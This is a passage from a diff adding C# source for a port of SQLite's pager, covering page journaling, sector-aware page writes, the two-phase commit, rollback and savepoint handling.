pPager.dbOrigSize && isOpen( pPager.jfd ) ) + { + u32 cksum; + byte[] pData2 = null; + i64 iOff = pPager.journalOff; + + /* We should never write to the journal file the page that + ** contains the database locks. The following Debug.Assert verifies + ** that we do not. */ + Debug.Assert( pPg.pgno != ( ( PENDING_BYTE / ( pPager.pageSize ) ) + 1 ) );//PAGER_MJ_PGNO(pPager) ); + + Debug.Assert( pPager.journalHdr <= pPager.journalOff ); + if ( CODEC2( pPager, pData, pPg.pgno, SQLITE_ENCRYPT_READ_CTX, ref pData2 ) ) + return SQLITE_NOMEM; // CODEC2(pPager, pData, pPg.pgno, 7, return SQLITE_NOMEM, pData2); + cksum = pager_cksum( pPager, pData2 ); + + /* Even if an IO or diskfull error occurred while journalling the + ** page in the block above, set the need-sync flag for the page. + ** Otherwise, when the transaction is rolled back, the logic in + ** playback_one_page() will think that the page needs to be restored + ** in the database file. And if an IO error occurs while doing so, + ** then corruption may follow. + */ + + pPg.flags |= PGHDR_NEED_SYNC; + + rc = write32bits( pPager.jfd, iOff, pPg.pgno ); + if ( rc != SQLITE_OK ) + return rc; + rc = sqlite3OsWrite( pPager.jfd, pData2, pPager.pageSize, iOff + 4 ); + if ( rc != SQLITE_OK ) + return rc; + rc = write32bits( pPager.jfd, iOff + pPager.pageSize + 4, cksum ); + if ( rc != SQLITE_OK ) + return rc; + + IOTRACE( "JOUT %p %d %lld %d\n", pPager, pPg.pgno, + pPager.journalOff, pPager.pageSize ); +#if SQLITE_TEST +#if !TCLSH + PAGER_INCR( ref sqlite3_pager_writej_count ); +#else + int iValue = sqlite3_pager_writej_count.iValue; + PAGER_INCR( ref iValue ); + sqlite3_pager_writej_count.iValue = iValue; +#endif +#endif + PAGERTRACE( "JOURNAL %d page %d needSync=%d hash(%08x)\n", + PAGERID( pPager ), pPg.pgno, + ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ? 1 : 0 ), pager_pagehash( pPg ) ); + + pPager.journalOff += 8 + pPager.pageSize; + pPager.nRec++; + Debug.Assert( pPager.pInJournal != null ); + rc = sqlite3BitvecSet( pPager.pInJournal, pPg.pgno ); + testcase( rc == SQLITE_NOMEM ); + Debug.Assert( rc == SQLITE_OK || rc == SQLITE_NOMEM ); + rc |= addToSavepointBitvecs( pPager, pPg.pgno ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( rc == SQLITE_NOMEM ); + return rc; + } + } + else + { + if ( pPager.eState != PAGER_WRITER_DBMOD ) + { + pPg.flags |= PGHDR_NEED_SYNC; + } + PAGERTRACE( "APPEND %d page %d needSync=%d\n", + PAGERID( pPager ), pPg.pgno, + ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ? 1 : 0 ) ); + } + } + + /* If the statement journal is open and the page is not in it, + ** then write the current page to the statement journal. Note that + ** the statement journal format differs from the standard journal format + ** in that it omits the checksums and the header. + */ + if ( subjRequiresPage( pPg ) ) + { + rc = subjournalPage( pPg ); + } + } + + /* Update the database size and return. + */ + if ( pPager.dbSize < pPg.pgno ) + { + pPager.dbSize = pPg.pgno; + } + return rc; + } + + /* + ** Mark a data page as writeable. This routine must be called before + ** making changes to a page. The caller must check the return value + ** of this function and be careful not to change any page data unless + ** this routine returns SQLITE_OK. + ** + ** The difference between this function and pager_write() is that this + ** function also deals with the special case where 2 or more pages + ** fit on a single disk sector. In this case all co-resident pages + ** must have been written to the journal file before returning. + ** + ** If an error occurs, SQLITE_NOMEM or an IO error code is returned + ** as appropriate. Otherwise, SQLITE_OK. + */ + static int sqlite3PagerWrite( DbPage pDbPage ) + { + int rc = SQLITE_OK; + + PgHdr pPg = pDbPage; + Pager pPager = pPg.pPager; + u32 nPagePerSector = (u32)( pPager.sectorSize / pPager.pageSize ); + + Debug.Assert( pPager.eState >= PAGER_WRITER_LOCKED ); + Debug.Assert( pPager.eState != PAGER_ERROR ); + Debug.Assert( assert_pager_state( pPager ) ); + + if ( nPagePerSector > 1 ) + { + Pgno nPageCount = 0; /* Total number of pages in database file */ + Pgno pg1; /* First page of the sector pPg is located on. */ + Pgno nPage = 0; /* Number of pages starting at pg1 to journal */ + int ii; /* Loop counter */ + bool needSync = false; /* True if any page has PGHDR_NEED_SYNC */ + + /* Set the doNotSyncSpill flag to 1. This is because we cannot allow + ** a journal header to be written between the pages journaled by + ** this function. + */ + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( pPager.doNotSyncSpill == 0 ); + pPager.doNotSyncSpill++; + + /* This trick assumes that both the page-size and sector-size are + ** an integer power of 2. It sets variable pg1 to the identifier + ** of the first page of the sector pPg is located on. + */ + pg1 = (u32)( ( pPg.pgno - 1 ) & ~( nPagePerSector - 1 ) ) + 1; + + nPageCount = pPager.dbSize; + if ( pPg.pgno > nPageCount ) + { + nPage = ( pPg.pgno - pg1 ) + 1; + } + else if ( ( pg1 + nPagePerSector - 1 ) > nPageCount ) + { + nPage = nPageCount + 1 - pg1; + } + else + { + nPage = nPagePerSector; + } + Debug.Assert( nPage > 0 ); + Debug.Assert( pg1 <= pPg.pgno ); + Debug.Assert( ( pg1 + nPage ) > pPg.pgno ); + + for ( ii = 0; ii < nPage && rc == SQLITE_OK; ii++ ) + { + u32 pg = (u32)( pg1 + ii ); + PgHdr pPage = new PgHdr(); + if ( pg == pPg.pgno || sqlite3BitvecTest( pPager.pInJournal, pg ) == 0 ) + { + if ( pg != ( ( PENDING_BYTE / ( pPager.pageSize ) ) + 1 ) ) //PAGER_MJ_PGNO(pPager)) + { + rc = sqlite3PagerGet( pPager, pg, ref pPage ); + if ( rc == SQLITE_OK ) + { + rc = pager_write( pPage ); + if ( ( pPage.flags & PGHDR_NEED_SYNC ) != 0 ) + { + needSync = true; + } + sqlite3PagerUnref( pPage ); + } + } + } + else if ( ( pPage = pager_lookup( pPager, pg ) ) != null ) + { + if ( ( pPage.flags & PGHDR_NEED_SYNC ) != 0 ) + { + needSync = true; + } + sqlite3PagerUnref( pPage ); + } + } + + /* If the PGHDR_NEED_SYNC flag is set for any of the nPage pages + ** starting at pg1, then it needs to be set for all of them. Because + ** writing to any of these nPage pages may damage the others, the + ** journal file must contain sync()ed copies of all of them + ** before any of them can be written out to the database file. + */ + if ( rc == SQLITE_OK && needSync ) + { + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + for ( ii = 0; ii < nPage; ii++ ) + { + PgHdr pPage = pager_lookup( pPager, (u32)( pg1 + ii ) ); + if ( pPage != null ) + { + pPage.flags |= PGHDR_NEED_SYNC; + sqlite3PagerUnref( pPage ); + } + } + } + + Debug.Assert( pPager.doNotSyncSpill == 1 ); + pPager.doNotSyncSpill--; + } + else + { + rc = pager_write( pDbPage ); + } + return rc; + } + + /* + ** Return TRUE if the page given in the argument was previously passed + ** to sqlite3PagerWrite(). In other words, return TRUE if it is ok + ** to change the content of the page. + */ +#if !NDEBUG + static bool sqlite3PagerIswriteable( DbPage pPg ) + { + return ( pPg.flags & PGHDR_DIRTY ) != 0; + } +#else +static bool sqlite3PagerIswriteable( DbPage pPg ) { return true; } +#endif + + /* +** A call to this routine tells the pager that it is not necessary to +** write the information on page pPg back to the disk, even though +** that page might be marked as dirty. This happens, for example, when +** the page has been added as a leaf of the freelist and so its +** content no longer matters. +** +** The overlying software layer calls this routine when all of the data +** on the given page is unused. The pager marks the page as clean so +** that it does not get written to disk. +** +** Tests show that this optimization can quadruple the speed of large +** DELETE operations. +*/ + static void sqlite3PagerDontWrite( PgHdr pPg ) + { + Pager pPager = pPg.pPager; + + if ( ( pPg.flags & PGHDR_DIRTY ) != 0 && pPager.nSavepoint == 0 ) + { + PAGERTRACE( "DONT_WRITE page %d of %d\n", pPg.pgno, PAGERID( pPager ) ); + IOTRACE( "CLEAN %p %d\n", pPager, pPg.pgno ); + pPg.flags |= PGHDR_DONT_WRITE; + pager_set_pagehash( pPg ); + } + } + + /* + ** This routine is called to increment the value of the database file + ** change-counter, stored as a 4-byte big-endian integer starting at + ** byte offset 24 of the pager file. The secondary change counter at + ** 92 is also updated, as is the SQLite version number at offset 96. + ** + ** But this only happens if the pPager.changeCountDone flag is false. + ** To avoid excess churning of page 1, the update only happens once. + ** See also the pager_write_changecounter() routine that does an + ** unconditional update of the change counters. + ** + ** If the isDirectMode flag is zero, then this is done by calling + ** sqlite3PagerWrite() on page 1, then modifying the contents of the + ** page data. In this case the file will be updated when the current + ** transaction is committed. + ** + ** The isDirectMode flag may only be non-zero if the library was compiled + ** with the SQLITE_ENABLE_ATOMIC_WRITE macro defined. In this case, + ** if isDirect is non-zero, then the database file is updated directly + ** by writing an updated version of page 1 using a call to the + ** sqlite3OsWrite() function. + */ + static int pager_incr_changecounter( Pager pPager, bool isDirectMode ) + { + int rc = SQLITE_OK; + + Debug.Assert( pPager.eState == PAGER_WRITER_CACHEMOD + || pPager.eState == PAGER_WRITER_DBMOD + ); + Debug.Assert( assert_pager_state( pPager ) ); + + /* Declare and initialize constant integer 'isDirect'. If the + ** atomic-write optimization is enabled in this build, then isDirect + ** is initialized to the value passed as the isDirectMode parameter + ** to this function. Otherwise, it is always set to zero. + ** + ** The idea is that if the atomic-write optimization is not + ** enabled at compile time, the compiler can omit the tests of + ** 'isDirect' below, as well as the block enclosed in the + ** "if( isDirect )" condition. + */ +#if !SQLITE_ENABLE_ATOMIC_WRITE + //# define DIRECT_MODE 0 + bool DIRECT_MODE = false; + Debug.Assert( isDirectMode == false ); + UNUSED_PARAMETER( isDirectMode ); +#else +//# define DIRECT_MODE isDirectMode +int DIRECT_MODE = isDirectMode; +#endif + + if ( !pPager.changeCountDone && pPager.dbSize > 0 ) + { + PgHdr pPgHdr = null; /* Reference to page 1 */ + + Debug.Assert( !pPager.tempFile && isOpen( pPager.fd ) ); + + /* Open page 1 of the file for writing. */ + rc = sqlite3PagerGet( pPager, 1, ref pPgHdr ); + Debug.Assert( pPgHdr == null || rc == SQLITE_OK ); + + /* If page one was fetched successfully, and this function is not + ** operating in direct-mode, make page 1 writable. When not in + ** direct mode, page 1 is always held in cache and hence the PagerGet() + ** above is always successful - hence the ALWAYS on rc==SQLITE_OK. + */ + if ( !DIRECT_MODE && ALWAYS( rc == SQLITE_OK ) ) + { + rc = sqlite3PagerWrite( pPgHdr ); + } + + if ( rc == SQLITE_OK ) + { + /* Actually do the update of the change counter */ + pager_write_changecounter( pPgHdr ); + + /* If running in direct mode, write the contents of page 1 to the file. */ + if ( DIRECT_MODE ) + { + u8[] zBuf = null; + Debug.Assert( pPager.dbFileSize > 0 ); + if ( CODEC2( pPager, pPgHdr.pData, 1, SQLITE_ENCRYPT_WRITE_CTX, ref zBuf ) ) + return rc = SQLITE_NOMEM;//CODEC2(pPager, pPgHdr.pData, 1, 6, rc=SQLITE_NOMEM, zBuf); + if ( rc == SQLITE_OK ) + { + rc = sqlite3OsWrite( pPager.fd, zBuf, pPager.pageSize, 0 ); + } + + if ( rc == SQLITE_OK ) + { + pPager.changeCountDone = true; + } + } + else + { + pPager.changeCountDone = true; + } + } + + /* Release the page reference. */ + sqlite3PagerUnref( pPgHdr ); + } + return rc; + } + + /* + ** Sync the database file to disk. This is a no-op for in-memory databases + ** or pages with the Pager.noSync flag set. + ** + ** If successful, or if called on a pager for which it is a no-op, this + ** function returns SQLITE_OK. Otherwise, an IO error code is returned. + */ + static int sqlite3PagerSync( Pager pPager ) + { + long rc = SQLITE_OK; + if ( !pPager.noSync ) + { + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0 == MEMDB +#else + 0 == pPager.memDb +#endif + ); + rc = sqlite3OsSync( pPager.fd, pPager.syncFlags ); + } + else if ( isOpen( pPager.fd ) ) + { + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0 == MEMDB +#else + 0 == pPager.memDb +#endif + ); + sqlite3OsFileControl( pPager.fd, SQLITE_FCNTL_SYNC_OMITTED, ref rc ); + } + return (int)rc; + } + + /* + ** This function may only be called while a write-transaction is active in + ** rollback. If the connection is in WAL mode, this call is a no-op. + ** Otherwise, if the connection does not already have an EXCLUSIVE lock on + ** the database file, an attempt is made to obtain one. + ** + ** If the EXCLUSIVE lock is already held or the attempt to obtain it is + ** successful, or the connection is in WAL mode, SQLITE_OK is returned. + ** Otherwise, either SQLITE_BUSY or an SQLITE_IOERR_XXX error code is + ** returned. + */ + static int sqlite3PagerExclusiveLock( Pager pPager ) + { + int rc = SQLITE_OK; + Debug.Assert( pPager.eState == PAGER_WRITER_CACHEMOD + || pPager.eState == PAGER_WRITER_DBMOD + || pPager.eState == PAGER_WRITER_LOCKED + ); + Debug.Assert( assert_pager_state( pPager ) ); + if ( false == pagerUseWal( pPager ) ) + { + rc = pager_wait_on_lock( pPager, EXCLUSIVE_LOCK ); + } + return rc; + } + + /* + ** Sync the database file for the pager pPager. zMaster points to the name + ** of a master journal file that should be written into the individual + ** journal file. zMaster may be NULL, which is interpreted as no master + ** journal (a single database transaction). + ** + ** This routine ensures that: + ** + ** * The database file change-counter is updated, + ** * the journal is synced (unless the atomic-write optimization is used), + ** * all dirty pages are written to the database file, + ** * the database file is truncated (if required), and + ** * the database file synced. + ** + ** The only thing that remains to commit the transaction is to finalize + ** (delete, truncate or zero the first part of) the journal file (or + ** delete the master journal file if specified). + ** + ** Note that if zMaster==NULL, this does not overwrite a previous value + ** passed to an sqlite3PagerCommitPhaseOne() call. + ** + ** If the final parameter - noSync - is true, then the database file itself + ** is not synced. The caller must call sqlite3PagerSync() directly to + ** sync the database file before calling CommitPhaseTwo() to delete the + ** journal file in this case. + */ + static int sqlite3PagerCommitPhaseOne( + Pager pPager, /* Pager object */ + string zMaster, /* If not NULL, the master journal name */ + bool noSync /* True to omit the xSync on the db file */ + ) + { + int rc = SQLITE_OK; /* Return code */ + + Debug.Assert( pPager.eState == PAGER_WRITER_LOCKED + || pPager.eState == PAGER_WRITER_CACHEMOD + || pPager.eState == PAGER_WRITER_DBMOD + || pPager.eState == PAGER_ERROR + ); + Debug.Assert( assert_pager_state( pPager ) ); + + /* If a prior error occurred, report that error again. */ + if ( NEVER( pPager.errCode != 0 ) ) + return pPager.errCode; + + PAGERTRACE( "DATABASE SYNC: File=%s zMaster=%s nSize=%d\n", + pPager.zFilename, zMaster, pPager.dbSize ); + + /* If no database changes have been made, return early. */ + if ( pPager.eState < PAGER_WRITER_CACHEMOD ) + return SQLITE_OK; + + if ( +#if SQLITE_OMIT_MEMORYDB +0 != MEMDB +#else + 0 != pPager.memDb +#endif + ) + { + /* If this is an in-memory db, or no pages have been written to, or this + ** function has already been called, it is mostly a no-op. However, any + ** backup in progress needs to be restarted. + */ + sqlite3BackupRestart( pPager.pBackup ); + } + else + { + if ( pagerUseWal( pPager ) ) + { + PgHdr pList = sqlite3PcacheDirtyList( pPager.pPCache ); + PgHdr pPageOne = null; + if ( pList == null ) + { + /* Must have at least one page for the WAL commit flag. + ** Ticket [2d1a5c67dfc2363e44f29d9bbd57f] 2null11-null5-18 */ + rc = sqlite3PagerGet( pPager, 1, ref pPageOne ); + pList = pPageOne; + pList.pDirty = null; + } + Debug.Assert( rc == SQLITE_OK ); + if ( ALWAYS( pList ) ) + { + + rc = pagerWalFrames( pPager, pList, pPager.dbSize, 1, + ( pPager.fullSync ? pPager.syncFlags : (byte)0 ) + ); + } + sqlite3PagerUnref( pPageOne ); + if ( rc == SQLITE_OK ) + { + sqlite3PcacheCleanAll( pPager.pPCache ); + } + } + else + { + + /* The following block updates the change-counter. Exactly how it + ** does this depends on whether or not the atomic-update optimization + ** was enabled at compile time, and if this transaction meets the + ** runtime criteria to use the operation: + ** + ** * The file-system supports the atomic-write property for + ** blocks of size page-size, and + ** * This commit is not part of a multi-file transaction, and + ** * Exactly one page has been modified and store in the journal file. + ** + ** If the optimization was not enabled at compile time, then the + ** pager_incr_changecounter() function is called to update the change + ** counter in 'indirect-mode'. If the optimization is compiled in but + ** is not applicable to this transaction, call sqlite3JournalCreate() + ** to make sure the journal file has actually been created, then call + ** pager_incr_changecounter() to update the change-counter in indirect + ** mode. + ** + ** Otherwise, if the optimization is both enabled and applicable, + ** then call pager_incr_changecounter() to update the change-counter + ** in 'direct' mode. In this case the journal file will never be + ** created for this transaction. + */ +#if SQLITE_ENABLE_ATOMIC_WRITE +PgHdr *pPg; +Debug.Assert( isOpen(pPager.jfd) +|| pPager.journalMode==PAGER_JOURNALMODE_OFF +|| pPager.journalMode==PAGER_JOURNALMODE_WAL +); +if( !zMaster && isOpen(pPager.jfd) +&& pPager.journalOff==jrnlBufferSize(pPager) +&& pPager.dbSize>=pPager.dbOrigSize +&& (0==(pPg = sqlite3PcacheDirtyList(pPager.pPCache)) || 0==pPg.pDirty) +){ +/* Update the db file change counter via the direct-write method. The +** following call will modify the in-memory representation of page 1 +** to include the updated change counter and then write page 1 +** directly to the database file. Because of the atomic-write +** property of the host file-system, this is safe. +*/ +rc = pager_incr_changecounter(pPager, 1); +}else{ +rc = sqlite3JournalCreate(pPager.jfd); +if( rc==SQLITE_OK ){ +rc = pager_incr_changecounter(pPager, 0); +} +} +#else + rc = pager_incr_changecounter( pPager, false ); +#endif + if ( rc != SQLITE_OK ) + goto commit_phase_one_exit; + + /* If this transaction has made the database smaller, then all pages + ** being discarded by the truncation must be written to the journal + ** file. This can only happen in auto-vacuum mode. + ** + ** Before reading the pages with page numbers larger than the + ** current value of Pager.dbSize, set dbSize back to the value + ** that it took at the start of the transaction. Otherwise, the + ** calls to sqlite3PagerGet() return zeroed pages instead of + ** reading data from the database file. + */ +#if !SQLITE_OMIT_AUTOVACUUM + if ( pPager.dbSize < pPager.dbOrigSize + && pPager.journalMode != PAGER_JOURNALMODE_OFF + ) + { + Pgno i; /* Iterator variable */ + Pgno iSkip = PAGER_MJ_PGNO( pPager ); /* Pending lock page */ + Pgno dbSize = pPager.dbSize; /* Database image size */ + pPager.dbSize = pPager.dbOrigSize; + for ( i = dbSize + 1; i <= pPager.dbOrigSize; i++ ) + { + if ( 0 == sqlite3BitvecTest( pPager.pInJournal, i ) && i != iSkip ) + { + PgHdr pPage = null; /* Page to journal */ + rc = sqlite3PagerGet( pPager, i, ref pPage ); + if ( rc != SQLITE_OK ) + goto commit_phase_one_exit; + rc = sqlite3PagerWrite( pPage ); + sqlite3PagerUnref( pPage ); + if ( rc != SQLITE_OK ) + goto commit_phase_one_exit; + } + } + pPager.dbSize = dbSize; + } +#endif + + /* Write the master journal name into the journal file. If a master +** journal file name has already been written to the journal file, +** or if zMaster is NULL (no master journal), then this call is a no-op. +*/ + rc = writeMasterJournal( pPager, zMaster ); + if ( rc != SQLITE_OK ) + goto commit_phase_one_exit; + + /* Sync the journal file and write all dirty pages to the database. + ** If the atomic-update optimization is being used, this sync will not + ** create the journal file or perform any real IO. + ** + ** Because the change-counter page was just modified, unless the + ** atomic-update optimization is used it is almost certain that the + ** journal requires a sync here. However, in locking_mode=exclusive + ** on a system under memory pressure it is just possible that this is + ** not the case. In this case it is likely enough that the redundant + ** xSync() call will be changed to a no-op by the OS anyhow. + */ + rc = syncJournal( pPager, 0 ); + if ( rc != SQLITE_OK ) + goto commit_phase_one_exit; + + rc = pager_write_pagelist( pPager, sqlite3PcacheDirtyList( pPager.pPCache ) ); + if ( rc != SQLITE_OK ) + { + Debug.Assert( rc != SQLITE_IOERR_BLOCKED ); + goto commit_phase_one_exit; + } + sqlite3PcacheCleanAll( pPager.pPCache ); + + /* If the file on disk is not the same size as the database image, + ** then use pager_truncate to grow or shrink the file here. + */ + if ( pPager.dbSize != pPager.dbFileSize ) + { + Pgno nNew = (Pgno)( pPager.dbSize - ( pPager.dbSize == PAGER_MJ_PGNO( pPager ) ? 1 : 0 ) ); + Debug.Assert( pPager.eState >= PAGER_WRITER_DBMOD ); + rc = pager_truncate( pPager, nNew ); + if ( rc != SQLITE_OK ) + goto commit_phase_one_exit; + } + + /* Finally, sync the database file. */ + if ( !noSync ) + { + rc = sqlite3PagerSync( pPager ); + } + IOTRACE( "DBSYNC %p\n", pPager ); + } + } + +commit_phase_one_exit: + if ( rc == SQLITE_OK && !pagerUseWal( pPager ) ) + { + pPager.eState = PAGER_WRITER_FINISHED; + } + return rc; + } + + + /* + ** When this function is called, the database file has been completely + ** updated to reflect the changes made by the current transaction and + ** synced to disk. The journal file still exists in the file-system + ** though, and if a failure occurs at this point it will eventually + ** be used as a hot-journal and the current transaction rolled back. + ** + ** This function finalizes the journal file, either by deleting, + ** truncating or partially zeroing it, so that it cannot be used + ** for hot-journal rollback. Once this is done the transaction is + ** irrevocably committed. + ** + ** If an error occurs, an IO error code is returned and the pager + ** moves into the error state. Otherwise, SQLITE_OK is returned. + */ + static int sqlite3PagerCommitPhaseTwo( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + + /* This routine should not be called if a prior error has occurred. + ** But if (due to a coding error elsewhere in the system) it does get + ** called, just return the same error code without doing anything. */ + if ( NEVER( pPager.errCode ) != 0 ) + return pPager.errCode; + + Debug.Assert( pPager.eState == PAGER_WRITER_LOCKED + || pPager.eState == PAGER_WRITER_FINISHED + || ( pagerUseWal( pPager ) && pPager.eState == PAGER_WRITER_CACHEMOD ) + ); + Debug.Assert( assert_pager_state( pPager ) ); + + /* An optimization. If the database was not actually modified during + ** this transaction, the pager is running in exclusive-mode and is + ** using persistent journals, then this function is a no-op. + ** + ** The start of the journal file currently contains a single journal + ** header with the nRec field set to 0. If such a journal is used as + ** a hot-journal during hot-journal rollback, 0 changes will be made + ** to the database file. So there is no need to zero the journal + ** header. Since the pager is in exclusive mode, there is no need + ** to drop any locks either. + */ + if ( pPager.eState == PAGER_WRITER_LOCKED + && pPager.exclusiveMode + && pPager.journalMode == PAGER_JOURNALMODE_PERSIST + ) + { + Debug.Assert( pPager.journalOff == JOURNAL_HDR_SZ( pPager ) || 0 == pPager.journalOff ); + pPager.eState = PAGER_READER; + return SQLITE_OK; + } + + PAGERTRACE( "COMMIT %d\n", PAGERID( pPager ) ); + rc = pager_end_transaction( pPager, pPager.setMaster ); + return pager_error( pPager, rc ); + } + + /* + ** If a write transaction is open, then all changes made within the + ** transaction are reverted and the current write-transaction is closed. + ** The pager falls back to PAGER_READER state if successful, or PAGER_ERROR + ** state if an error occurs. + ** + ** If the pager is already in PAGER_ERROR state when this function is called, + ** it returns Pager.errCode immediately. No work is performed in this case. + ** + ** Otherwise, in rollback mode, this function performs two functions: + ** + ** 1) It rolls back the journal file, restoring all database file and + ** in-memory cache pages to the state they were in when the transaction + ** was opened, and + ** + ** 2) It finalizes the journal file, so that it is not used for hot + ** rollback at any point in the future. + ** + ** Finalization of the journal file (task 2) is only performed if the + ** rollback is successful. + ** + ** In WAL mode, all cache-entries containing data modified within the + ** current transaction are either expelled from the cache or reverted to + ** their pre-transaction state by re-reading data from the database or + ** WAL files. The WAL transaction is then closed. + */ + static int sqlite3PagerRollback( Pager pPager ) + { + int rc = SQLITE_OK; /* Return code */ + PAGERTRACE( "ROLLBACK %d\n", PAGERID( pPager ) ); + + /* PagerRollback() is a no-op if called in READER or OPEN state. If + ** the pager is already in the ERROR state, the rollback is not + ** attempted here. Instead, the error code is returned to the caller. + */ + Debug.Assert( assert_pager_state( pPager ) ); + if ( pPager.eState == PAGER_ERROR ) + return pPager.errCode; + if ( pPager.eState <= PAGER_READER ) + return SQLITE_OK; + + if ( pagerUseWal( pPager ) ) + { + int rc2; + + rc = sqlite3PagerSavepoint( pPager, SAVEPOINT_ROLLBACK, -1 ); + rc2 = pager_end_transaction( pPager, pPager.setMaster ); + if ( rc == SQLITE_OK ) + rc = rc2; + rc = pager_error( pPager, rc ); + } + else if ( !isOpen( pPager.jfd ) || pPager.eState == PAGER_WRITER_LOCKED ) + { + int eState = pPager.eState; + rc = pager_end_transaction( pPager, 0 ); + if ( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + && eState > PAGER_WRITER_LOCKED ) + { + /* This can happen using journal_mode=off. Move the pager to the error + ** state to indicate that the contents of the cache may not be trusted. + ** Any active readers will get SQLITE_ABORT. + */ + pPager.errCode = SQLITE_ABORT; + pPager.eState = PAGER_ERROR; + return rc; + } + } + else + { + rc = pager_playback( pPager, 0 ); + } + + Debug.Assert( pPager.eState == PAGER_READER || rc != SQLITE_OK ); + Debug.Assert( rc == SQLITE_OK || rc == SQLITE_FULL || ( rc & 0xFF ) == SQLITE_IOERR ); + + /* If an error occurs during a ROLLBACK, we can no longer trust the pager + ** cache. So call pager_error() on the way out to make any error persistent. + */ + return pager_error( pPager, rc ); + } + + + /* + ** Return TRUE if the database file is opened read-only. Return FALSE + ** if the database is (in theory) writable. + */ + static bool sqlite3PagerIsreadonly( Pager pPager ) + { + return pPager.readOnly; + } + + /* + ** Return the number of references to the pager. + */ + static int sqlite3PagerRefcount( Pager pPager ) + { + return sqlite3PcacheRefCount( pPager.pPCache ); + } + + /* + ** Return the approximate number of bytes of memory currently + ** used by the pager and its associated cache. + */ + static int sqlite3PagerMemUsed( Pager pPager ) + { + int perPageSize = pPager.pageSize + pPager.nExtra + 20; //+ sizeof(PgHdr) + 5*sizeof(void*); + return perPageSize * sqlite3PcachePagecount( pPager.pPCache ) + + 0// Not readily available under C#// sqlite3MallocSize(pPager); + + pPager.pageSize; + } + + /* + ** Return the number of references to the specified page. + */ + static int sqlite3PagerPageRefcount( DbPage pPage ) + { + return sqlite3PcachePageRefcount( pPage ); + } + + +#if SQLITE_TEST + /* +** This routine is used for testing and analysis only. +*/ + static int[] sqlite3PagerStats( Pager pPager ) + { + int[] a = new int[11]; + a[0] = sqlite3PcacheRefCount( pPager.pPCache ); + a[1] = sqlite3PcachePagecount( pPager.pPCache ); + a[2] = sqlite3PcacheGetCachesize( pPager.pPCache ); + a[3] = pPager.eState == PAGER_OPEN ? -1 : (int)pPager.dbSize; + a[4] = pPager.eState; + a[5] = pPager.errCode; + a[6] = pPager.nHit; + a[7] = pPager.nMiss; + a[8] = 0; /* Used to be pPager.nOvfl */ + a[9] = pPager.nRead; + a[10] = pPager.nWrite; + return a; + } +#endif + + /* +** Return true if this is an in-memory pager. +*/ + static bool sqlite3PagerIsMemdb( Pager pPager ) + { +#if SQLITE_OMIT_MEMORYDB +return MEMDB != 0; +#else + return pPager.memDb != 0; +#endif + } + + /* + ** Check that there are at least nSavepoint savepoints open. If there are + ** currently less than nSavepoints open, then open one or more savepoints + ** to make up the difference. If the number of savepoints is already + ** equal to nSavepoint, then this function is a no-op. + ** + ** If a memory allocation fails, SQLITE_NOMEM is returned. If an error + ** occurs while opening the sub-journal file, then an IO error code is + ** returned. Otherwise, SQLITE_OK. + */ + static int sqlite3PagerOpenSavepoint( Pager pPager, int nSavepoint ) + { + int rc = SQLITE_OK; /* Return code */ + int nCurrent = pPager.nSavepoint; /* Current number of savepoints */ + + Debug.Assert( pPager.eState >= PAGER_WRITER_LOCKED ); + Debug.Assert( assert_pager_state( pPager ) ); + + if ( nSavepoint > nCurrent && pPager.useJournal != 0 ) + { + int ii; /* Iterator variable */ + PagerSavepoint[] aNew; /* New Pager.aSavepoint array */ + + /* Grow the Pager.aSavepoint array using realloc(). Return SQLITE_NOMEM + ** if the allocation fails. Otherwise, zero the new portion in case a + ** malloc failure occurs while populating it in the for(...) loop below. + */ + //aNew = (PagerSavepoint *)sqlite3Realloc( + // pPager.aSavepoint, sizeof(PagerSavepoint)*nSavepoint + //); + Array.Resize( ref pPager.aSavepoint, nSavepoint ); + aNew = pPager.aSavepoint; + //if( null==aNew ){ + // return SQLITE_NOMEM; + //} + // memset(&aNew[nCurrent], 0, (nSavepoint-nCurrent) * sizeof(PagerSavepoint)); + // pPager.aSavepoint = aNew; + + /* Populate the PagerSavepoint structures just allocated. */ + for ( ii = nCurrent; ii < nSavepoint; ii++ ) + { + aNew[ii] = new PagerSavepoint(); + aNew[ii].nOrig = pPager.dbSize; + if ( isOpen( pPager.jfd ) && pPager.journalOff > 0 ) + { + aNew[ii].iOffset = pPager.journalOff; + } + else + { + aNew[ii].iOffset = (int)JOURNAL_HDR_SZ( pPager ); + } + aNew[ii].iSubRec = pPager.nSubRec; + aNew[ii].pInSavepoint = sqlite3BitvecCreate( pPager.dbSize ); + //if ( null == aNew[ii].pInSavepoint ) + //{ + // return SQLITE_NOMEM; + //} + if ( pagerUseWal( pPager ) ) + { + sqlite3WalSavepoint( pPager.pWal, aNew[ii].aWalData ); + } + pPager.nSavepoint = ii + 1; + } + Debug.Assert( pPager.nSavepoint == nSavepoint ); + assertTruncateConstraint( pPager ); + } + + return rc; + } + + /* + ** This function is called to rollback or release (commit) a savepoint. + ** The savepoint to release or rollback need not be the most recently + ** created savepoint. + ** + ** Parameter op is always either SAVEPOINT_ROLLBACK or SAVEPOINT_RELEASE. + ** If it is SAVEPOINT_RELEASE, then release and destroy the savepoint with + ** index iSavepoint. If it is SAVEPOINT_ROLLBACK, then rollback all changes + ** that have occurred since the specified savepoint was created. + ** + ** The savepoint to rollback or release is identified by parameter + ** iSavepoint. A value of 0 means to operate on the outermost savepoint + ** (the first created). A value of (Pager.nSavepoint-1) means operate + ** on the most recently created savepoint. If iSavepoint is greater than + ** (Pager.nSavepoint-1), then this function is a no-op. + ** + ** If a negative value is passed to this function, then the current + ** transaction is rolled back. This is different to calling + ** sqlite3PagerRollback() because this function does not terminate + ** the transaction or unlock the database, it just restores the + ** contents of the database to its original state. + ** + ** In any case, all savepoints with an index greater than iSavepoint + ** are destroyed. If this is a release operation (op==SAVEPOINT_RELEASE), + ** then savepoint iSavepoint is also destroyed. + ** + ** This function may return SQLITE_NOMEM if a memory allocation fails, + ** or an IO error code if an IO error occurs while rolling back a + ** savepoint. If no errors occur, SQLITE_OK is returned. + 